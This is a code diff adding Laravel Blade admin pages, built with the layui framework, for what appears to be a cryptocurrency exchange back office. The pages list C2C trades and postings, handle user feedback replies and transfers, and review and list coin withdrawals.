<a href="javascript:;" onclick="layer.tips('卖出交易总额', this, {tips: 3});" class="layadmin-backlog-body" style="color: #fff;background-color: #01AAED;display: block;padding: 10px;">
|
||||
<h3>卖出交易总额:</h3>
|
||||
<p><cite style="color:#fff" id="toucun">{{$sell_all_number}}</cite></p>
|
||||
</a>
|
||||
</li>
|
||||
{{--<li class="layui-col-xs3">--}}
|
||||
{{--<a href="javascript:;" onclick="layer.tips('USDT购买总数量', this, {tips: 3});" class="layadmin-backlog-body" style="color: #fff;background-color: #01AAED;display: block;padding: 10px;">--}}
|
||||
{{--<h3>USDT购买总数量:</h3>--}}
|
||||
{{--<p><cite style="color:#fff" id="shouxu">{{$buyall_usdt}}</cite></p>--}}
|
||||
{{--</a>--}}
|
||||
{{--</li>--}}
|
||||
|
||||
</ul>
|
||||
</div>
|
||||
{{--<div class="layui-carousel layadmin-backlog" style="background-color: #fff">--}}
|
||||
{{--<ul class="layui-row layui-col-space10 layui-this">--}}
|
||||
{{--<li class="layui-col-xs3">--}}
|
||||
{{--<a href="javascript:;" onclick="layer.tips('USDT出售总数量', this, {tips: 3});" class="layadmin-backlog-body" style="color: #fff;background-color: #01AAED;display: block;padding: 10px;">--}}
|
||||
{{--<h3>USDT出售总数量:</h3>--}}
|
||||
{{--<p><cite style="color:#fff" id="chujin">{{$sellall_usdt}}</cite></p>--}}
|
||||
{{--</a>--}}
|
||||
{{--</li>--}}
|
||||
{{--<li class="layui-col-xs3">--}}
|
||||
{{--<a href="javascript:;" onclick="layer.tips('USDT总冻结数量', this, {tips: 3});" class="layadmin-backlog-body" style="color: #fff;background-color: #01AAED;display: block;padding: 10px;">--}}
|
||||
{{--<h3>USDT总冻结数量:</h3>--}}
|
||||
{{--<p><cite style="color:#fff" id="rujin">{{$all_lock_legal_balance}}</cite></p>--}}
|
||||
{{--</a>--}}
|
||||
{{--</li>--}}
|
||||
{{--<li class="layui-col-xs3">--}}
|
||||
{{--<a href="javascript:;" onclick="layer.tips('USDT总可用余额', this, {tips: 3});" class="layadmin-backlog-body" style="color: #fff;background-color: #01AAED;display: block;padding: 10px;">--}}
|
||||
{{--<h3>USDT总可用余额:</h3>--}}
|
||||
{{--<p><cite style="color:#fff" id="lock">{{$all_usdt_can_use}}</cite></p>--}}
|
||||
{{--</a>--}}
|
||||
{{--</li>--}}
|
||||
{{--<li class="layui-col-xs3">--}}
|
||||
{{--<a href="javascript:;" onclick="layer.tips('客户法币锁定余额', this, {tips: 3});" class="layadmin-backlog-body" style="color: #fff;background-color: #01AAED;display: block;">--}}
|
||||
{{--<h3>客户法币锁定余额</h3>--}}
|
||||
{{--<p><cite style="color:#fff" id="locklage">0</cite></p>--}}
|
||||
{{--</a>--}}
|
||||
{{--</li>--}}
|
||||
{{--</ul>--}}
|
||||
{{--</div>--}}
|
||||
</div>
|
||||
<style>
|
||||
|
||||
element.style {
|
||||
color: #fff;
|
||||
background-color: #01AAED;
|
||||
display: block;
|
||||
|
||||
}
|
||||
</style>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<script type="text/html" id="switchTpl">
|
||||
<input type="checkbox" name="is_recommend" value="@{{d.id}}" lay-skin="switch" lay-text="是|否" lay-filter="sexDemo" @{{ d.is_recommend == 1 ? 'checked' : '' }}>
|
||||
</script>
|
||||
|
||||
<table id="demo" lay-filter="test"></table>
|
||||
<!-- <script type="text/html" id="barDemo">
|
||||
|
||||
<a class="layui-btn layui-btn-xs" lay-event="edit">编辑</a>
|
||||
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="del">删除</a>
|
||||
</script> -->
|
||||
|
||||
<script type="text/html" id="type">
|
||||
@{{d.type=="buy" ? '<span class="layui-badge layui-bg-green">'+'卖出'+'</span>' : '' }}
|
||||
@{{d.type=="sell" ? '<span class="layui-badge layui-bg-red">'+'买入'+'</span>' : '' }}
|
||||
|
||||
</script>
|
||||
<script type="text/html" id="is_sure">
|
||||
@{{d.is_sure==0 ? '<span class="layui-badge layui-bg-red">'+'未确认'+'</span>' : '' }}
|
||||
@{{d.is_sure==1 ? '<span class="layui-badge layui-bg-blue " >'+'已确认'+'</span>' : '' }}
|
||||
@{{d.is_sure==2 ? '<span class="layui-badge layui-bg-orange">'+'已取消'+'</span>' : '' }}
|
||||
@{{d.is_sure==3 ? '<span class="layui-badge layui-bg-green">'+'已付款'+'</span>' : '' }}
|
||||
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script>
|
||||
|
||||
layui.use(['table','form'], function(){
|
||||
var table = layui.table;
|
||||
var $ = layui.jquery;
|
||||
var form = layui.form;
|
||||
//第一个实例
|
||||
table.render({
|
||||
elem: '#demo'
|
||||
,url: '{{url('admin/c2c_deal/list')}}' //数据接口
|
||||
,page: true //开启分页
|
||||
,id:'mobileSearch'
|
||||
,cols: [[ //表头
|
||||
{field: 'id', title: 'ID', width:80, sort: true}
|
||||
,{field: 'legal_deal_send_id', title: '交易需求id', width:150}
|
||||
|
||||
,{field: 'account_number', title: '用户交易账号', width:120}
|
||||
,{field: 'user_realname', title: '真实姓名', width:120}
|
||||
,{field: 'seller_name', title: '商家名称', width:120}
|
||||
,{field: 'type', title: '买入/卖出', width:100, templet: '#type'}
|
||||
,{field: 'way_name', title: '支付方式', width:100}
|
||||
|
||||
,{field: 'price', title: '单价', width:100 }
|
||||
,{field: 'number', title: '交易数量', width:100}
|
||||
// ,{field: 'surplus_number', title: '剩余数量', width:100}
|
||||
,{field: 'currency_name', title: '交易币', width:100}
|
||||
,{field: 'deal_money', title: '交易总金额', width:100}
|
||||
|
||||
// ,{field: 'limitation', title: '限额', width:100, templet: '#limitation'}
|
||||
,{field: 'is_sure', title: '交易状态', width:100, templet: '#is_sure'}
|
||||
|
||||
,{field: 'format_create_time', title: '交易时间', width:180}
|
||||
,{field: 'format_update_time', title: '确认时间', width:180}
|
||||
|
||||
|
||||
// ,{title:'操作',minWidth:100,toolbar: '#barDemo'}
|
||||
|
||||
]]
|
||||
});
|
||||
|
||||
|
||||
|
||||
//监听提交
|
||||
form.on('submit(mobile_search)', function(data){
|
||||
var seller_number = data.field.seller_number
|
||||
,type = $('#type_type').val()
|
||||
// ,currency_id = $('#currency_id').val()
|
||||
,account_number = data.field.account_number
|
||||
|
||||
|
||||
table.reload('mobileSearch',{
|
||||
where:{
|
||||
account_number:account_number,
|
||||
seller_number:seller_number,
|
||||
type:type,
|
||||
// currency_id:currency_id,
|
||||
|
||||
},
|
||||
page: {curr: 1} //重新从第一页开始
|
||||
});
|
||||
return false;
|
||||
});
|
||||
|
||||
|
||||
$('.daochu').click(function(){
|
||||
// var id = $("input[name='id']").val();
|
||||
var account_number = $("input[name='account_number']").val();
|
||||
var seller_number = $("input[name='seller_number']").val();
|
||||
var type = $("select[name='type']").val();
|
||||
location.href='/admin/c2c_deal/csv?&account_number='+account_number + '&seller_number='+seller_number + '&type='+type;
|
||||
})
|
||||
|
||||
|
||||
});
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,181 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<div style="margin-top: 10px;width: 100%;margin-left: 10px;">
|
||||
|
||||
|
||||
<form class="layui-form layui-form-pane layui-inline" action="">
|
||||
|
||||
<div class="layui-inline" style="margin-left: 50px;">
|
||||
<label >发布方交易账号 </label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" name="account_number" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<!-- <div class="layui-inline" style="margin-left: 50px;">
|
||||
<label >商家名称 </label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" name="seller_name" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div> -->
|
||||
<div class="layui-inline" style="margin-left: 50px;">
|
||||
<label>出售/求购 </label>
|
||||
<div class="layui-input-inline">
|
||||
<select name="type" id="type_type">
|
||||
<option value="" class="ww">全部</option>
|
||||
<option value="buy" class="ww">求购</option>
|
||||
<option value="sell" class="ww">出售</option>
|
||||
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-inline">
|
||||
<div class="layui-input-inline">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="mobile_search"><i class="layui-icon"></i></button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<script type="text/html" id="switchTpl">
|
||||
<input type="checkbox" name="is_recommend" value="@{{d.id}}" lay-skin="switch" lay-text="是|否" lay-filter="sexDemo" @{{ d.is_recommend == 1 ? 'checked' : '' }}>
|
||||
</script>
|
||||
|
||||
<table id="demo" lay-filter="test"></table>
|
||||
<script type="text/html" id="barDemo">
|
||||
<a class="layui-btn layui-btn-xs" lay-event="back">撤回发布</a>
|
||||
<!-- <a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="del">删除发布</a> -->
|
||||
</script>
|
||||
|
||||
<script type="text/html" id="type">
|
||||
@{{d.type=="buy" ? '<span class="layui-badge layui-bg-green">'+'求购'+'</span>' : '' }}
|
||||
@{{d.type=="sell" ? '<span class="layui-badge layui-bg-red">'+'出售'+'</span>' : '' }}
|
||||
|
||||
</script>
|
||||
<script type="text/html" id="is_done">
|
||||
@{{d.is_done==0 ? '<span class="layui-badge layui-bg-gray">'+'未完成'+'</span>' : '' }}
|
||||
@{{d.is_done==1 ? '<span class="layui-badge">'+'已完成'+'</span>' : '' }}
|
||||
|
||||
</script>
|
||||
<!-- <script type="text/html" id="limitation">
|
||||
<span class="layui-badge layui-bg-gray">@{{d.limitation.min}}--@{{d.limitation.max}}</span>
|
||||
|
||||
</script> -->
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script>
|
||||
|
||||
layui.use(['table','form'], function(){
|
||||
var table = layui.table;
|
||||
var $ = layui.jquery;
|
||||
var form = layui.form;
|
||||
//第一个实例
|
||||
table.render({
|
||||
elem: '#demo'
|
||||
,url: '{{url('admin/c2c/list')}}' //数据接口
|
||||
,page: true //开启分页
|
||||
,id:'mobileSearch'
|
||||
,cols: [[ //表头
|
||||
{field: 'id', title: 'ID', width:80, sort: true}
|
||||
,{field: 'seller_name', title: '用户名称', width:200}
|
||||
,{field: 'type', title: '出售/求购', width:100, templet: '#type'}
|
||||
,{field: 'way_name', title: '支付方式', width:100}
|
||||
|
||||
,{field: 'price', title: '单价', width:100 }
|
||||
,{field: 'total_number', title: '数量', width:100}
|
||||
// ,{field: 'surplus_number', title: '剩余数量', width:100}
|
||||
,{field: 'currency_name', title: '交易币', width:100}
|
||||
|
||||
// ,{field: 'limitation', title: '限额', width:100, templet: '#limitation'}
|
||||
,{field: 'is_done', title: '是否完成', width:100, templet: '#is_done'}
|
||||
|
||||
,{field: 'create_time', title: '创建时间', width:180}
|
||||
|
||||
,{title:'操作',minWidth:100,toolbar: '#barDemo'}
|
||||
|
||||
]]
|
||||
});
|
||||
|
||||
|
||||
table.on('tool(test)', function(obj){
|
||||
var data = obj.data;
|
||||
if(obj.event === 'del'){
|
||||
layer.confirm('删除发布会删除此发布信息下的所有交易,请谨慎操作', function(index){
|
||||
var loading = layer.load(1, {
|
||||
shade: [0.1,'#fff'] //0.1透明度的白色背景
|
||||
});
|
||||
$.ajax({
|
||||
url:'{{url('admin/c2c/send/del')}}',
|
||||
type:'post',
|
||||
dataType:'json',
|
||||
data:{id:data.id},
|
||||
success:function (res) {
|
||||
layer.close(loading);
|
||||
if(res.type == 'error'){
|
||||
layer.msg(res.message);
|
||||
}else{
|
||||
obj.del();
|
||||
layer.close(index);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
});
|
||||
} else if(obj.event === 'back'){
|
||||
layer.confirm('撤回发布会把此发布信息下的所有未完成交易取消', function(index){
|
||||
var loading = layer.load(1, {
|
||||
shade: [0.1,'#fff'] //0.1透明度的白色背景
|
||||
});
|
||||
$.ajax({
|
||||
url:'{{url('admin/c2c/send/back')}}',
|
||||
type:'post',
|
||||
dataType:'json',
|
||||
data:{id:data.id},
|
||||
success:function (res) {
|
||||
layer.close(loading);
|
||||
layer.msg(res.message);
|
||||
|
||||
layer.close(index);
|
||||
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
//监听提交
|
||||
form.on('submit(mobile_search)', function(data){
|
||||
// var seller_name = data.field.seller_name
|
||||
var account_number = data.field.account_number
|
||||
,type = $('#type_type').val()
|
||||
// ,currency_id = $('#currency_id').val()
|
||||
|
||||
|
||||
table.reload('mobileSearch',{
|
||||
where:{
|
||||
account_number:account_number,
|
||||
type:type,
|
||||
// currency_id:currency_id,
|
||||
|
||||
},
|
||||
page: {curr: 1} //重新从第一页开始
|
||||
});
|
||||
return false;
|
||||
});
|
||||
|
||||
});
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,70 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<form class="layui-form" action="">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">账号</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="account_number" readonly="readonly" autocomplete="off" placeholder="" class="layui-input" value="{{$feedback->account_number}}">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">提交内容</label>
|
||||
<div class="layui-input-block">
|
||||
<textarea name="" id="" cols="90" rows="4">{{$feedback->content}}</textarea>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">回复内容</label>
|
||||
<div class="layui-input-block">
|
||||
<textarea name="reply_content" id="" cols="90" rows="10">{{$feedback->reply_content}}</textarea>
|
||||
</div>
|
||||
</div>
|
||||
<input type="hidden" name="id" value="{{$feedback->id}}">
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-input-block">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="demo1">立即提交</button>
|
||||
<button type="reset" class="layui-btn layui-btn-primary">重置</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script>
|
||||
|
||||
|
||||
layui.use(['form','laydate'],function () {
|
||||
var form = layui.form
|
||||
,$ = layui.jquery
|
||||
,laydate = layui.laydate
|
||||
,index = parent.layer.getFrameIndex(window.name);
|
||||
//监听提交
|
||||
form.on('submit(demo1)', function(data){
|
||||
var data = data.field;
|
||||
$.ajax({
|
||||
url:'{{url('admin/feedback/reply')}}'
|
||||
,type:'post'
|
||||
,dataType:'json'
|
||||
,data : data
|
||||
,success:function(res){
|
||||
if(res.type=='error'){
|
||||
layer.msg(res.message);
|
||||
}else{
|
||||
parent.layer.close(index);
|
||||
parent.window.location.reload();
|
||||
}
|
||||
}
|
||||
});
|
||||
return false;
|
||||
});
|
||||
});
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,134 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<div style="margin-top: 10px;width: 100%;margin-left: 10px;">
|
||||
{{--<button class="layui-btn layui-btn-normal layui-btn-radius" onclick="layer_show('添加承兑商','{{url('admin/acceptor_add')}}')">添加承兑商</button>--}}
|
||||
|
||||
<form class="layui-form layui-form-pane layui-inline" action="">
|
||||
|
||||
<div class="layui-inline" style="margin-left: 50px;">
|
||||
<label class="layui-form-label">用户名</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" name="account_number" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<div class="layui-input-inline">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="mobile_search"><i class="layui-icon"></i></button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
</form>
|
||||
{{--<button class="layui-btn layui-btn-normal" onclick="javascrtpt:window.location.href='{{url('/admin/feedback/csv')}}'">导出用户</button>--}}
|
||||
</div>
|
||||
|
||||
<script type="text/html" id="switchTpl">
|
||||
<input type="checkbox" name="is_recommend" value="@{{d.id}}" lay-skin="switch" lay-text="是|否" lay-filter="sexDemo" @{{ d.is_recommend == 1 ? 'checked' : '' }}>
|
||||
</script>
|
||||
|
||||
<table id="demo" lay-filter="test"></table>
|
||||
<script type="text/html" id="barDemo">
|
||||
<a class="layui-btn layui-btn-xs" lay-event="detail">查看</a>
|
||||
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="del">删除</a>
|
||||
</script>
|
||||
<script type="text/html" id="is_reply">
|
||||
@{{d.is_reply==1 ? '<span class="layui-badge layui-bg-green">'+'已回复'+'</span>' : '' }}
|
||||
@{{d.is_reply==0 ? '<span class="layui-badge layui-bg-red">'+'未回复'+'</span>' : '' }}
|
||||
|
||||
</script>
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script>
|
||||
|
||||
layui.use(['table','form'], function(){
|
||||
var table = layui.table;
|
||||
var $ = layui.jquery;
|
||||
var form = layui.form;
|
||||
//第一个实例
|
||||
table.render({
|
||||
elem: '#demo'
|
||||
,url: "{{url('admin/candytransfer/list')}}" //数据接口
|
||||
,page: true //开启分页
|
||||
,id:'mobileSearch'
|
||||
,cols: [[ //表头
|
||||
{field: 'id', title: 'ID', width:80, sort: true}
|
||||
,{field: 'from_user_phone', title: '转出用户', ninWidth:100}
|
||||
,{field: 'to_user_phone', title: '转入用户', ninWidth:100}
|
||||
// ,{field: 'content', title: '提交内容', ninWidth:100}
|
||||
|
||||
,{field: 'transfer_qty', title: '转账数量', ninWidth:80}
|
||||
,{field: 'transfer_rate', title: '手续费率(百分比)', ninWidth:80}
|
||||
,{field: 'transfer_fee', title: '手续费', ninWidth:80}
|
||||
,{field: 'create_time', title: '转账时间', ninWidth:80}
|
||||
|
||||
|
||||
|
||||
// ,{title:'操作',minWidth:100,toolbar: '#barDemo'}
|
||||
|
||||
]]
|
||||
});
|
||||
//监听热卖操作
|
||||
// form.on('switch(sexDemo)', function(obj){
|
||||
// var id = this.value;
|
||||
// $.ajax({
|
||||
// url:'{{url('admin/product_hot')}}',
|
||||
// type:'post',
|
||||
// dataType:'json',
|
||||
// data:{id:id},
|
||||
// success:function (res) {
|
||||
// if(res.error != 0){
|
||||
// layer.msg(res.msg);
|
||||
// }
|
||||
// }
|
||||
// });
|
||||
// });
|
||||
|
||||
table.on('tool(test)', function(obj){
|
||||
var data = obj.data;
|
||||
if(obj.event === 'del'){
|
||||
layer.confirm('真的删除行么', function(index){
|
||||
$.ajax({
|
||||
url:"{{url('admin/feedback/del')}}",
|
||||
type:'get',
|
||||
dataType:'json',
|
||||
data:{id:data.id},
|
||||
success:function (res) {
|
||||
if(res.type == 'error'){
|
||||
layer.msg(res.message);
|
||||
}else{
|
||||
obj.del();
|
||||
layer.close(index);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
});
|
||||
} else if(obj.event === 'edit'){
|
||||
layer_show('编辑承兑商','{{url('admin/feedback/detail')}}?id='+data.id);
|
||||
} else if(obj.event === 'detail'){
|
||||
layer_show('查看详情','{{url('admin/feedback/detail')}}?id='+data.id,800,600);
|
||||
}
|
||||
});
|
||||
|
||||
//监听提交
|
||||
form.on('submit(mobile_search)', function(data){
|
||||
var account_number = data.field.account_number;
|
||||
table.reload('mobileSearch',{
|
||||
where:{account_number:account_number},
|
||||
page: {curr: 1} //重新从第一页开始
|
||||
});
|
||||
return false;
|
||||
});
|
||||
|
||||
});
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,211 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<form class="layui-form" action="">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">提币信息</label>
|
||||
<div class="layui-input-block">
|
||||
<table class="layui-table">
|
||||
<tbody>
|
||||
<tr>
|
||||
<td>
|
||||
账户名:{{$wallet_out->account_number}}
|
||||
</td>
|
||||
<td>
|
||||
币种:{{$wallet_out->currency_name}}
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>
|
||||
币种类型:基于{{$wallet_out->currency_type}}
|
||||
</td>
|
||||
<td>
|
||||
费率:{{$wallet_out->rate}}
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>
|
||||
提币数量:{{$wallet_out->number}}
|
||||
</td>
|
||||
<td>
|
||||
实际提币数量:{{$wallet_out->real_number}}
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>
|
||||
提币地址:{{$wallet_out->address}}
|
||||
</td>
|
||||
@if($wallet_out->type == 1 )
|
||||
<td>
|
||||
人民币价格:{{$wallet_out->real_rmb}}元
|
||||
</td>
|
||||
@endif
|
||||
</tr>
|
||||
@if($wallet_out->type == 1 )
|
||||
<tr>
|
||||
<td>
|
||||
真实姓名:{{$wallet_out->real_name}}
|
||||
</td>
|
||||
<td>
|
||||
银行卡账号:{{$wallet_out->bank_account}}
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>
|
||||
开户银行:{{$wallet_out->bank_name}}
|
||||
</td>
|
||||
<td>
|
||||
开户省市:{{$card_info->bank_dizhi}}
|
||||
</td>
|
||||
</tr>
|
||||
@endif
|
||||
@if($wallet_out->type == 2 )
|
||||
@foreach ($card_info_data as $key => $item)
|
||||
<tr>
|
||||
<td colspan="2">
|
||||
{{$key}}:{{$item}}
|
||||
</td>
|
||||
</tr>
|
||||
@endforeach
|
||||
@endif
|
||||
@if($wallet_out->status == 1 || $wallet_out->status == 2)
|
||||
<!--<tr>-->
|
||||
<!-- <td colspan="2">-->
|
||||
<!-- <label class="layui-form-label" style="text-align: left; padding-left: 0px;{{$use_chain_api == 0 ? 'color: #f00' : ''}}">交易哈希:</label>-->
|
||||
<!-- <div class="layui-input-inline" style="width: 80%;">-->
|
||||
<!-- <input class="layui-input" type="text" name="txid" @if ($use_chain_api == 0) lay-verify="required" @endif placeholder="手工提币请输入交易哈希" autocomplete="off" value="{{$wallet_out->txid ?? ''}}" {{$wallet_out->status == 2 ? 'readonly disabled' : ''}}>-->
|
||||
<!-- </div>-->
|
||||
<!-- </td>-->
|
||||
<!--</tr>-->
|
||||
@endif
|
||||
|
||||
<tr>
|
||||
<td>
|
||||
申请时间:{{$wallet_out->create_time}}
|
||||
</td>
|
||||
<td>
|
||||
当前状态:@if($wallet_out->status==1) 提交申请
|
||||
@elseif($wallet_out->status==2) 提币成功
|
||||
@elseif($wallet_out->status==3) 提币失败
|
||||
@else
|
||||
@endif
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">反馈信息</label>
|
||||
<div class="layui-input-block">
|
||||
<textarea name="notes" id="" cols="90" rows="5">{{$wallet_out->notes}}</textarea>
|
||||
</div>
|
||||
</div>
|
||||
@if($wallet_out->status==1)
|
||||
<!--<div class="layui-form-item">-->
|
||||
<!-- <label class="layui-form-label">安全验证码</label>-->
|
||||
<!-- <div class="layui-input-inline">-->
|
||||
<!-- <input type="text" name="verificationcode" placeholder="" autocomplete="off" class="layui-input">-->
|
||||
<!-- </div>-->
|
||||
<!-- <button type="button" class="layui-btn layui-btn-primary" id="get_code">获取验证码</button>-->
|
||||
<!--</div>-->
|
||||
@endif
|
||||
<input type="hidden" name="id" value="">
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-input-block">
|
||||
<input type="hidden" name='id' value='{{$wallet_out->id}}'>
|
||||
@if($wallet_out->status==1)
|
||||
<button class="layui-btn" lay-submit="" lay-filter="demo1" name='method' value="done">确认提币</button>
|
||||
<button class="layui-btn layui-btn-danger" lay-submit="" lay-filter="demo2">退回申请</button>
|
||||
@endif
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script>
|
||||
layui.use(['form','laydate'],function () {
|
||||
var form = layui.form
|
||||
,$ = layui.jquery
|
||||
,laydate = layui.laydate
|
||||
,index = parent.layer.getFrameIndex(window.name);
|
||||
$('#get_code').click(function () {
|
||||
var that_btn = $(this);
|
||||
$.ajax({
|
||||
url: '/admin/safe/verificationcode'
|
||||
,type: 'GET'
|
||||
,success: function (res) {
|
||||
if (res.type == 'ok') {
|
||||
that_btn.attr('disabled', true);
|
||||
that_btn.toggleClass('layui-btn-disabled');
|
||||
}
|
||||
layer.msg(res.message, {
|
||||
time: 3000
|
||||
});
|
||||
}
|
||||
,error: function () {
|
||||
layer.msg('网络错误');
|
||||
}
|
||||
});
|
||||
});
|
||||
//监听提交
|
||||
form.on('submit(demo1)', function(data) {
|
||||
var data = data.field;
|
||||
console.log(data);
|
||||
if (data.verificationcode == '') {
|
||||
layer.msg('请填写安全验证码');
|
||||
return false;
|
||||
}
|
||||
layer.confirm('确定允许提币?', function (index) {
|
||||
var loading = layer.load(1, {time: 30 * 1000});
|
||||
layer.close(index);
|
||||
$.ajax({
|
||||
url: '{{url('admin/cashb_done')}}'+'?method=done'
|
||||
,type: 'post'
|
||||
,dataType: 'json'
|
||||
,data : data
|
||||
,success: function(res) {
|
||||
if (res.type=='error') {
|
||||
layer.msg(res.message);
|
||||
} else {
|
||||
layer.msg(res.message);
|
||||
parent.layer.close(index);
|
||||
parent.window.location.reload();
|
||||
}
|
||||
}
|
||||
,complete: function () {
|
||||
layer.close(loading);
|
||||
}
|
||||
});
|
||||
});
|
||||
return false;
|
||||
});
|
||||
form.on('submit(demo2)', function(data){
|
||||
var data = data.field;
|
||||
$.ajax({
|
||||
url:'{{url('admin/cashb_done')}}'
|
||||
,type:'post'
|
||||
,dataType:'json'
|
||||
,data : data
|
||||
,success:function(res){
|
||||
if(res.type=='error'){
|
||||
layer.msg(res.message);
|
||||
}else{
|
||||
parent.layer.close(index);
|
||||
parent.window.location.reload();
|
||||
}
|
||||
}
|
||||
});
|
||||
return false;
|
||||
});
|
||||
});
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,148 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<style>
|
||||
.status_bg_1{
|
||||
background: #1E9FFF;
|
||||
}
|
||||
.status_bg_2{
|
||||
background: #5fb878;
|
||||
}
|
||||
.status_bg_3{
|
||||
background: #ff5722;
|
||||
}
|
||||
</style>
|
||||
<div style="margin-top: 10px;width: 100%;">
|
||||
|
||||
|
||||
<form class="layui-form layui-form-pane layui-inline" action="">
|
||||
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">用户名</label>
|
||||
<div class="layui-input-inline" style="margin-left: 10px">
|
||||
<input type="text" name="user_name" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline" style="margin-left: 10px">
|
||||
<div class="layui-input-inline">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="mobile_search"><i class="layui-icon"></i></button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
|
||||
</form>
|
||||
<button class="layui-btn layui-btn-normal" style="margin-left: 10px" onclick="javascrtpt:window.location.href='{{url('/admin/cashb/csv')}}'">导出提币记录</button>
|
||||
</div>
|
||||
|
||||
<script type="text/html" id="switchTpl">
|
||||
<input type="checkbox" name="is_recommend" value="@{{d.id}}" lay-skin="switch" lay-text="是|否" lay-filter="sexDemo" @{{ d.is_recommend == 1 ? 'checked' : '' }}>
|
||||
</script>
|
||||
|
||||
<table id="demo" lay-filter="test"></table>
|
||||
<script type="text/html" id="barDemo">
|
||||
|
||||
<a class="layui-btn layui-btn-xs" lay-event="show">查看</a>
|
||||
|
||||
</script>
|
||||
<script type="text/html" id="statustml">
|
||||
@{{d.status==1 ? '<span class="layui-badge status_bg_1">'+'申请提币'+'</span>' : '' }}
|
||||
@{{d.status==2 ? '<span class="layui-badge status_bg_2">'+'提币完成'+'</span>' : '' }}
|
||||
@{{d.status==3 ? '<span class="layui-badge status_bg_3">'+'申请失败'+'</span>' : '' }}
|
||||
|
||||
</script>
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script>
|
||||
|
||||
layui.use(['table','form'], function(){
|
||||
var table = layui.table;
|
||||
var $ = layui.jquery;
|
||||
var form = layui.form;
|
||||
//第一个实例
|
||||
table.render({
|
||||
elem: '#demo'
|
||||
,url: "{{url('admin/cashb_list')}}" //数据接口
|
||||
,page: true //开启分页
|
||||
,id:'mobileSearch'
|
||||
,cols: [[ //表头
|
||||
{field: 'id', title: 'ID', width:80, sort: true}
|
||||
,{field: 'user_name', title: '用户名', width:220}
|
||||
,{field: 'currency_name', title: '虚拟币', width:80}
|
||||
,{field: 'number', title: '提币数量', minWidth:110}
|
||||
,{field: 'rate', title: '手续费', minWidth:80}
|
||||
,{field: 'real_number', title: '实际提币', minWidth:110}
|
||||
// ,{field: 'address', title: '提币地址', minWidth:100}
|
||||
,{field: 'status', title: '状态', minWidth:80, templet: '#statustml'}
|
||||
// ,{field: 'hes_account', title: '承兑商交易账号', minWidth:180}
|
||||
// ,{field: 'money', title: '交易额度', minWidth:100}
|
||||
// ,{field: 'sure_name', title: '交易状态', minWidth:100}
|
||||
